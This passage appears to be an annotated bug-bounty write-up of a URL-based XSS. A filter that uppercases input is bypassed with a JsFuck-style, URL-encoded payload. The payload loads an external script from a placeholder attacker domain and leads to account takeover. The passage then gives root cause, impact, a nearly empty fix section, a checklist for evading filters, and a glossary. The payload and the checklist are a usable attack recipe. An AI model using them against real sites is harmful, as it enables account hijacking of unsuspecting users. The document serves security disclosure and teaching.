[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]]()[%2B!%2B[]%2B[%2B[]]]%3B[][F%2BI%2BL%2BL][C%2BO%2BN%2BS%2BT%2BR%2BU%2BC%2BT%2BO%2BR](S%2BE%2BT%2B%22T%22%2BI%2BM%2BE%2BO%2BU%2BT%2B%22(%22%2BF%2BU%2BN%2BC%2BT%2BI%2BO%2BN%2B%22()%7B%20$%22%2BDOT%2BG%2BE%2BT%2B%22S%22%2BC%2BR%2BI%2BP%2BT%2B%22('%22%2BSLA%2BSLA%2B%22BADASSDOMAIN%22%2BDOT%2B%22COM%22%2BSLA%2B%22BADASSURL')()%3B%20%7D,%203000)%3B%22)()%3B(%22
This is the same construction as before, with every character that a URL treats specially replaced by its percent code: %3B is a semicolon, %C3%81 is the accented capital A used as a variable name, %22 is a double quote, %7B and %7D are curly braces, %20 is a space. The browser decodes all of it back to the code shown in the earlier steps before running it. The placeholder BADASSDOMAIN and BADASSURL stand for the attacker's own domain and path, which the report does not give.
The external JS was loaded, and that external JS was able to change the username and password: account takeover. Account takeover means the attacker ends up in control of someone else's account. Severity was raised from low (a simple alert XSS) to High (account takeover), and the bug bounty was raised from 50 to 1000 USD, 20 times higher.
Root cause
The path segment of the URL is interpolated into a JavaScript string inside a function call, without JavaScript-aware escaping. Interpolated means inserted into the middle of something else. The server uppercased the input and blocked some characters, which is not JavaScript sanitisation: it does not remove quotes, brackets, braces or operators, and it does not stop the attacker from constructing lowercase letters at runtime from JavaScript primitives. The filter also blocked </script>, //, \ and ., but those restrictions can be worked around, as shown above, by building the dot from a float literal and the slash from string operations.
Impact
With the payload, an attacker can execute arbitrary JavaScript in the context of the vulnerable page. The author's stated goal was to escalate beyond a simple alert(1) by loading an external JS file that performs arbitrary web actions without user interaction, such as changing the account password or email, leading to account takeover. The report does not describe which users or roles were affected beyond that.
Fix
Encoding means converting characters that have special meaning in code into a form that is treated as plain text.
Variants to test
- Case-transforming filters: send a payload with lowercase letters and check whether the response uppercases them. A positive result is seeing
ALERTinstead ofalertin the reflected output, which means the same JsFuck-style construction may apply. - Dot and slash filters: try to build
.from a float literal such as1.1e+101and/from string operations. A positive result is a working$.getScriptor equivalent call without literal dots or slashes. - Length limits: measure where the server starts returning Error 400. A positive result is a limit high enough to fit the payload, though here the author found the boundary at 2500 to 2700 characters.
- Deferred library loading: if the target library loads after the injection point, wrap the call in
setTimeoutand check whether the request to the external script appears. A positive result is the external request showing up after the delay. - Quote and bracket availability: check whether
",',[,],{,}survive filtering. A positive result is that they do, which is what made the JsFuck approach viable here.
Glossary
- XSS (cross-site scripting): a bug where a site lets attacker text be treated as code by the browser.
- URL XSS: an XSS where the malicious text arrives through the page address.
- Payload: the piece of text an attacker sends to trigger the bug.
- Reflection: when a server sends attacker input back inside the page it returns.
- GET parameter: a value carried in a URL, usually after a question mark.
- JavaScript: the programming language browsers run to make pages interactive.
- Case sensitive: treating uppercase and lowercase letters as different characters.
- Escaping / encoding: converting characters with special meaning into a harmless form.
- Sanitisation: cleaning input so it cannot be interpreted as code.
- Filter: a rule on the server that removes or changes certain characters.
- JsFuck: a technique for writing JavaScript using only six characters.
- Primitive: a basic JavaScript value such as
false,true,undefinedor a number. - String: a piece of text in JavaScript.
- Array: an ordered list of values in JavaScript.
- Constructor: the built-in function that creates an object;
fill.constructoris the function that made thefillmethod. - toString: a built-in method that turns a value into text, optionally in a chosen number base.
- Float: a number with a decimal point.
- Scientific notation: writing a number as a small number times a power of ten, such as
1.1e+101. - URL encoding: replacing special characters with a percent sign and two hex digits.
- Error 400: the server's response saying a request is malformed or unacceptable.
- jQuery: a popular JavaScript library that shortens common tasks.
$.getScript: jQuery's function for fetching and running an external script.setTimeout: a built-in that runs a function after a delay in milliseconds.- Cookie: a small piece of data a site stores in the browser, often used to keep you logged in.
document.cookie: the browser's way of reading the cookies of the current page.- Severity: how dangerous a bug is graded to be, from Low to Critical.
- Account takeover: an attacker gaining control of someone else's account.
- Bug bounty: money a company pays for a valid bug report.
- HackerOne: a platform where researchers report bugs to companies.
- Burp Suite: a tool for watching and modifying the requests a browser sends.
- WordPress: a common system for building websites.